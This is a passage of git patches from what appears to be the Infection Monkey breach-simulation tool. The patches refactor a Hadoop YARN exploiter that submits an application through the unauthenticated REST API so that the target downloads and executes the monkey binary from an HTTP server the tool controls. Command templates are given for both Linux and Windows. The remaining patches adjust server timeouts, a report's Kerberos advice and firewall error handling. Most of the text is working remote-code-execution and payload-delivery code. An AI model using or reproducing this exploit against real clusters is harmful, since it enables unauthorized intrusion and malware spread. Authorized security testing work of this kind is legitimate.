"".join([random.choice(string.ascii_lowercase) for _ in xrange(6)]) - payload = { - "application-id": app_id, - "application-name": rand_name, - "am-container-spec": { - "commands": { - "command": command, - } - }, - "application-type": "YARN" - } + payload = self.build_payload(app_id, rand_name, command) resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload) if resp.status_code == 202: return True @@ -114,3 +107,17 @@ class HadoopExploiter(WebRCE): return True else: return False + + @staticmethod + def build_payload(app_id, name, command): + payload = { + "application-id": app_id, + "application-name": name, + "am-container-spec": { + "commands": { + "command": command, + } + }, + "application-type": "YARN" + } + return payload From 568320c298191f3a3c7c0c633cd3e756695810d0 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 28 Aug 2018 16:05:41 +0300 Subject: [PATCH 133/137] Refactored, notes fixed but file server still timeouts --- infection_monkey/exploit/hadoop.py | 80 +++++++++++------------------- 1 file changed, 30 insertions(+), 50 deletions(-) diff --git a/infection_monkey/exploit/hadoop.py b/infection_monkey/exploit/hadoop.py index 1065e7aec..95a074f55 100644 --- a/infection_monkey/exploit/hadoop.py +++ b/infection_monkey/exploit/hadoop.py @@ -9,10 +9,9 @@ import random import string import logging from exploit.web_rce import WebRCE -from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth, get_monkey_dest_path +from tools import HTTPTools, build_monkey_commandline, get_monkey_depth import posixpath -from threading import Lock -from model import MONKEY_ARG +from model import MONKEY_ARG, ID_STRING, DROPPER_ARG __author__ = 'VakarisZ' @@ -34,50 +33,27 @@ class HadoopExploiter(WebRCE): "& %(monkey_path)s %(monkey_type)s %(parameters)s" # How long we have our http server open for downloads in seconds DOWNLOAD_TIMEOUT = 90 + # Random string's length that's used for creating unique app name + RAN_STR_LEN = 6 def __init__(self, host): - super(HadoopExploiter, self).__init__(host) + super(HadoopExploiter, self).__init__(host, {'linux': './monkey.sh', + 'win32': '%temp%\\monkey32.exe', + 'win64': '%temp%\\monkey64.exe'}) def exploit_host(self): # Try to get exploitable url - exploitable_url = False - urls = self.build_potential_urls(self.host, self.HADOOP_PORTS) - for url in urls: - if self.try_exploit(url): - exploitable_url = url - break - if not exploitable_url: - LOG.info("No exploitable Hadoop server found") + urls = self.build_potential_urls(self.HADOOP_PORTS) + self.add_vulnerable_urls(urls, True) + if not self.vulnerable_urls: return False - src_path = get_target_monkey(self.host) - if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) + paths = self.get_monkey_paths() + if not paths: return False - # Determine where to save monkey on the target - LOG.debug("Monkey path found") - path = get_monkey_dest_path(src_path) - if not path: + http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths['src_path']) + command = self.build_command(paths['dest_path'], http_path) + if not self.exploit(self.vulnerable_urls[0], command): return False - # To avoid race conditions we pass a locked lock to http servers thread - lock = Lock() - lock.acquire() - # Create server for http download and wait for it's startup. - http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path, lock) - lock.acquire() - - # Build command to execute - monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, path) - if 'linux' in self.host.os['type']: - base_command = self.LINUX_COMMAND - else: - base_command = self.WINDOWS_COMMAND - - command = base_command % {"monkey_path": path, "http_path": http_path, - "monkey_type": MONKEY_ARG, "parameters": monkey_cmd} - - if not self.exploit(exploitable_url, command): - return False - lock.release() http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() return True @@ -88,25 +64,29 @@ class HadoopExploiter(WebRCE): resp = json.loads(resp.content) app_id = resp['application-id'] # Create a random name for our application in YARN - rand_name = "".join([random.choice(string.ascii_lowercase) for _ in xrange(6)]) + rand_name = ID_STRING + "".join([random.choice(string.ascii_lowercase) for _ in xrange(self.RAN_STR_LEN)]) payload = self.build_payload(app_id, rand_name, command) resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload) - if resp.status_code == 202: - return True - else: - return False + return resp.status_code == 202 - @staticmethod - def try_exploit(url): - # Get the newly created application id + def check_if_exploitable(self, url): try: resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application")) except requests.ConnectionError: return False - if resp.status_code == 200: - return True + return resp.status_code == 200 + + def build_command(self, path, http_path): + default_path = self.get_default_dropper_path() + # Build command to execute + monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, default_path) + if 'linux' in self.host.os['type']: + base_command = self.LINUX_COMMAND else: - return False + base_command = self.WINDOWS_COMMAND + + return base_command % {"monkey_path": path, "http_path": http_path, + "monkey_type": DROPPER_ARG, "parameters": monkey_cmd} @staticmethod def build_payload(app_id, name, command): From 818aae3a2ce7cbc4deefc18c1c5d1e75aafa840b Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 28 Aug 2018 19:33:36 +0300 Subject: [PATCH 134/137] Hadoop exploitation tested on windows and linux --- infection_monkey/exploit/hadoop.py | 13 +++++-------- 1 file changed, 5 insertions(+), 8 deletions(-) diff --git a/infection_monkey/exploit/hadoop.py b/infection_monkey/exploit/hadoop.py index 95a074f55..c41badd52 100644 --- a/infection_monkey/exploit/hadoop.py +++ b/infection_monkey/exploit/hadoop.py @@ -11,7 +11,7 @@ import logging from exploit.web_rce import WebRCE from tools import HTTPTools, build_monkey_commandline, get_monkey_depth import posixpath -from model import MONKEY_ARG, ID_STRING, DROPPER_ARG +from model import MONKEY_ARG, ID_STRING __author__ = 'VakarisZ' @@ -32,14 +32,12 @@ class HadoopExploiter(WebRCE): " Update /download /priority high %(http_path)s %(monkey_path)s " \ "& %(monkey_path)s %(monkey_type)s %(parameters)s" # How long we have our http server open for downloads in seconds - DOWNLOAD_TIMEOUT = 90 + DOWNLOAD_TIMEOUT = 60 # Random string's length that's used for creating unique app name RAN_STR_LEN = 6 def __init__(self, host): - super(HadoopExploiter, self).__init__(host, {'linux': './monkey.sh', - 'win32': '%temp%\\monkey32.exe', - 'win64': '%temp%\\monkey64.exe'}) + super(HadoopExploiter, self).__init__(host) def exploit_host(self): # Try to get exploitable url @@ -77,16 +75,15 @@ class HadoopExploiter(WebRCE): return resp.status_code == 200 def build_command(self, path, http_path): - default_path = self.get_default_dropper_path() # Build command to execute - monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, default_path) + monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1) if 'linux' in self.host.os['type']: base_command = self.LINUX_COMMAND else: base_command = self.WINDOWS_COMMAND return base_command % {"monkey_path": path, "http_path": http_path, - "monkey_type": DROPPER_ARG, "parameters": monkey_cmd} + "monkey_type": MONKEY_ARG, "parameters": monkey_cmd} @staticmethod def build_payload(app_id, name, command): From 49904d0cb08b571dfe37f8a3f7741ea343ce06b2 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 28 Aug 2018 20:53:40 +0300 Subject: [PATCH 135/137] Undone server's closing timeout, even though I think 60 is too much --- infection_monkey/transport/http.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/infection_monkey/transport/http.py b/infection_monkey/transport/http.py index cae4842d0..b65fda4e9 100644 --- a/infection_monkey/transport/http.py +++ b/infection_monkey/transport/http.py @@ -179,7 +179,7 @@ class HTTPServer(threading.Thread): self._stopped = True - def stop(self, timeout=5): + def stop(self, timeout=60): self._stopped = True self.join(timeout) From c8e131d9138decf24f8e5831df6299e5d022256f Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 30 Aug 2018 14:20:52 +0300 Subject: [PATCH 136/137] Added a space before bracket in report --- monkey_island/cc/ui/src/components/pages/ReportPage.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index cd417d47a..f7220d3ec 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -722,7 +722,7 @@ class ReportPageComponent extends AuthComponent { generateHadoopIssue(issue) { return (
  • - Run Hadoop in secure mode( + Run Hadoop in secure mode ( add Kerberos authentication). Oracle WebLogic server at {issue.machine} ( Date: Thu, 30 Aug 2018 15:42:07 +0300 Subject: [PATCH 137/137] Improved error handling if firewall does not allow to open http server --- infection_monkey/exploit/tools.py | 1 + infection_monkey/exploit/web_rce.py | 8 ++++++-- 2 files changed, 7 insertions(+), 2 deletions(-) diff --git a/infection_monkey/exploit/tools.py b/infection_monkey/exploit/tools.py index 1b7f32003..337052030 100644 --- a/infection_monkey/exploit/tools.py +++ b/infection_monkey/exploit/tools.py @@ -407,6 +407,7 @@ class HTTPTools(object): local_ip = get_interface_to_target(host.ip_addr) if not firewall.listen_allowed(): + LOG.error("Firewall is not allowed to listen for incomming ports. Aborting") return None, None httpd = LockedHTTPServer(local_ip, local_port, src_path, lock) diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index 97708ab24..fe969c04c 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -95,7 +95,7 @@ class WebRCE(HostExploiter): # Upload the right monkey to target data = self.upload_monkey(self.vulnerable_urls[0], exploit_config['upload_commands']) - if data is not False and data['response'] is False: + if data is False: return False # Change permissions to transform monkey into executable file @@ -341,7 +341,11 @@ class WebRCE(HostExploiter): http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() LOG.info("Uploading process finished") - return {'response': resp, 'path': paths['dest_path']} + # If response is false exploiter failed + if resp is False: + return resp + else: + return {'response': resp, 'path': paths['dest_path']} def change_permissions(self, url, path, command=None): """